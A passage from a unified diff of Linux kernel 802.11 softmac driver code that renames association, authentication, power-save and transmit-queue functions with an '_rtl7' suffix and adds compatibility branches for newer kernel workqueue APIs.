ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl 